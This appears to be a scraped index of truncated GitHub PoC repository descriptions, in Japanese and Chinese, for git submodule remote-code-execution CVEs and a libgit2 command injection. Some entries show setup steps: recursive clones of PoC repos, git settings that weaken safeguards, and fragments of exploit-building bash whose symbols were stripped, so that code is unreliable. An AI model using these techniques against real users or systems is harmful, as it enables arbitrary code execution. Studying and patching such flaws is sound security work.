CVE-2025-48384-POC

トリガーするには、脆弱なgitバージョンでgit clone --recursive https://github.com/fishyyh/CVE-2025-48384-POC.gitを実行すると、/tmp/sectestファイルが突然現れることがわかります。...

CVE-2024-32002

CVE-2024-32002 只是基于现有 CVE 利用 CVE-2024-32002 的小脚本 使用方法 首先，在 GitHub 或 GitLab 上创建 2 个空仓库。 然后 git clone 并运行此脚本。 最后：git clone –recursive repo2 以自动触发 RCE。...

CVE-2025-48384-poc

CVE-2025-48384-poc CVE-2025-48384 は、git における不適切なリンク解決（リンク追従）の脆弱性です。具体的には、.git/config 内でキャリッジリターンを含むファイル名が適切に解析されず、git clone --recursive でリポジトリがクローンされると、サブモジュール内にある git フック実行ファイルを指すシンボリックリンクをサブモジュールのフックディレクトリとして含めることで、任意のコード実行が引き起こされる可能性があります。 Git for Microsoft Windows はこの脆弱性の影響を受けず、主に linux と Mac...

git_rce

CVE-2024-32002 PoC 1. git のシンボリックリンクオプションを次のように設定する必要があります: root@kitploit: git config --global core.symlinks true 2. 次に、以下のコマンドで CVE-2024-32002 を悪用します: root@kitploit: git clone --recursive https://github.com/EQSTSeminar/gitrce.git 攻撃シナリオ kali192.168.216.129 --リモートリポジトリのアドレスを渡す-- Win192.168.216.13...

CVE-2024-32002-Exploit

root@kitploit: !/bin/bash git init hook cd hook mkdir -p y/hooks cat y/hooks/post-checkout dotgit.txt git hash-object -w --stdin dot-git.hash printf "120000 %s 0\ta\n" "$cat dot-git.hash" index.info git update-index --index-info index.info git commit -m "add-symlink" git remote add origin...

CVE-2025-48384

CVE-2025-48384: キャリッジリターンによるgitの破壊とクローンRCE https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384 からの再現。すべてのクレジットはDavid Leadbeaterに帰属します。 これはこの脆弱性の基本的な再現試行です。 トリガーするには、脆弱なgitバージョンで git clone --recursive https://github.com/acheong08/CVE-2025-48384 を実行すると、/tmp/fishsucks ファイルが突然出現します。...

Cve-2024-32002-poc

CVE-2024-32002 RCE PoC 概述 此仓库包含 CVE-2024-32002 的概念验证（PoC），这是 Git 子模块中的一个远程代码执行（RCE）漏洞。该利用演示了如何通过递归克隆 Git 仓库来触发恶意负载。 仓库设置 在运行 PoC 之前，请在您的远程 Git 服务器上创建以下仓库，或者您也可以根据需要更改名称： hulk.git submod.git smash.git 如果您更改了名称，请相应更新 PoC 脚本中的仓库路径。 利用细节 该利用利用 Git 子模块，在递归克隆仓库时在目标系统上执行负载。此 PoC 已在 macOS 上测试通过。 定义仓库路径...

CVE-2017-1000117

Gitの脆弱性を確認するテストリポジトリ CVE-2017-1000117 仕組み このリポジトリを再帰的にクローンしてください。 ターミナルに「うんこもりもり」大量のクソという意味という文字列が表示されます。 root@kitploit: $ git clone --recursive https://github.com/greymd/CVE-2017-1000117.git Cloning into 'CVE-2017-1000117'... remote: Counting objects: 5, done. remote: Compressing objects: 100%...

CVE-2024-32002

GIT RCE CVE-2024-32002 説明 | CVE-2024-32002 | https://www.tarlogic.com/blog/cve-2024-32002-vulnerability-git/ | エクスプロイト | まず、git上に "calledrepo" と "commandrepo" のリポジトリを作成する必要があります。 | 被害者は後で "git clone --recursive calledrepo.git" でcalledrepoを呼び出し、commandrepoにリダイレクトされてフックスクリプトを実行します。 |...

CVE-2025-48384

CVE-2025-48384 PoC 注意事項 本リポジトリはセキュリティ教育用に作成したものです。 悪用はご遠慮ください。 本脆弱性はディレクトリ名に\rを含める必要があるため、 Linux/Unix系が影響対象となります。 下記が影響対象のGitのバージョンです。 v2.43.x系 - v2.43.7 未満 v2.44.x系 - v2.44.4 未満 v2.45.x系 - v2.45.4 未満 v2.46.x系 - v2.46.4 未満 v2.47.x系 - v2.47.3 未満 v2.48.x系 - v2.48.2 未満 v2.49.x系 - v2.49.1 未満 v2.50.x系...

Fix-CVE-2017-1000117

用于检查 Git 漏洞 CVE-2017-1000117 的测试仓库，并尝试升级 git 版本。 root@kitploit: $ git clone --recursive https://github.com/shogo82148/Fix-CVE-2017-1000117.git 该仓库的灵感来源于 https://github.com/greymd/CVE-2017-1000117 。 为确保您的 git 安全，请使用 --recursive 选项克隆它。...

CVE-2017-1000117_wasawasa

Gitの脆弱性を確認するためのテストリポジトリ CVE-2017-1000117 動作の仕組み このリポジトリを再帰的にクローンしてください。 root@kitploit: $ git clone --recursive https://github.com/sasairc/CVE-2017-1000117wasawasa.git オリジナル greymd/CVE-2017-1000117...

CVE-2024-32002

CVE-2024-32002 RCE PoC 概要 このリポジトリには、Git サブモジュールのリモートコード実行（RCE）脆弱性 CVE-2024-32002 の Proof of Concept（PoC）が含まれています。このエクスプロイトは、Git リポジトリの再帰的クローンを介して悪意のあるペイロードがどのようにトリガーされるかを示しています。 リポジトリのセットアップ PoC を実行する前に、リモート Git サーバー上に次のリポジトリを作成するか、必要に応じて名前を自由に変更してください。 hulk.git submod.git smash.git 名前を変更した場合は、Po...

CVE-2024-32002

CVE-2024-32002 RCE PoC 概要 このリポジトリには、Git サブモジュールにおけるリモートコード実行（RCE）脆弱性である CVE-2024-32002 の Proof of Concept（PoC）が含まれています。このエクスプロイトは、悪意のあるペイロードが Git リポジトリの再帰的クローンによってどのようにトリガーされるかを示しています。 リポジトリのセットアップ PoC を実行する前に、リモート Git サーバー上に以下のリポジトリを作成してください。必要に応じて名前を変更しても構いません。 hulk.git submod.git smash.git...

cve-2025-48384-poc

CVE-2025-48384 の PoC この Proof of Concept は、Git の CR パスサブモジュールの誤解析の脆弱性を実証し、git clone --recurse-submodules 時の任意フック実行につながることを示します。 ⚠️ 警告 これは 教育およびテスト目的のみ です。本番環境では実行しないでください 。 🧪 使用方法 root@kitploit: git clone https://github.com/yourname/cve-2025-48384-poc.git cd cve-2025-48384 chmod +x generatepoc.sh...

CVE-2017-1000117

CVE-2017-1000117 悪意のある者は巧妙に作成した「ssh://…」リンクを利用し、被害者がプログラム実行時などにその悪意のあるリンクにアクセスさせ、コマンド実行を達成することができます。 このリンクはgitプロジェクトの.gitmodulesファイルに配置でき、被害者がプロジェクトに対してgit clone –recurse-submodules/git clone --recursive 操作を行うと、セキュリティ問題が発生します。 準備： linux コマンドラインで入力 printf 'a' /tmp/pwned.txt...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok 構成 CVE-2018-11235-Git PoC と docker ngrok によるトンネリング Dockerfile をビルド root@kitploit: $ docker build -t cve-2018-11235 . ngrok 用のカスタムネットワークを作成 root@kitploit: $ docker network create myngroknet Git HTTP サーバーを起動 root@kitploit: $ docker run -d -p 8080:80...

CVE-2017-1000117

git-client-rce このPoCは教育目的のみです!!! git-client-rce PoC（CVE-2017-1000117）のテスト用GITリポジトリ https://marc.info/?l=git&m=150238802328673&w=2 このCVEは、v2.14.1より前のすべてのgitクライアントに影響します。 PoCを確認するには、テストシステムで次を実行してください: $git clone --recursive https://github.com/thelastbyte/CVE-2017-1000117.git...

CVE-2024-32002-poc

Bashスクリプト: root@kitploit: !/bin/bash Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true Avoid warning messages set default branch to main git config --global init.defaultBranch main Define tell-tale path telltalepath="$PWD/tell.tale...

CVE-2026-5917

libgit2 versions before 1.8.7 and 1.9.0 before 1.9.7 built with the libssh2 SSH backend USESSH=libssh2 contain a shell command injection vulnerability that allows remote attackers to execute arbitrary commands on an SSH server by supplying a repository path containing unescaped shell metacharacte...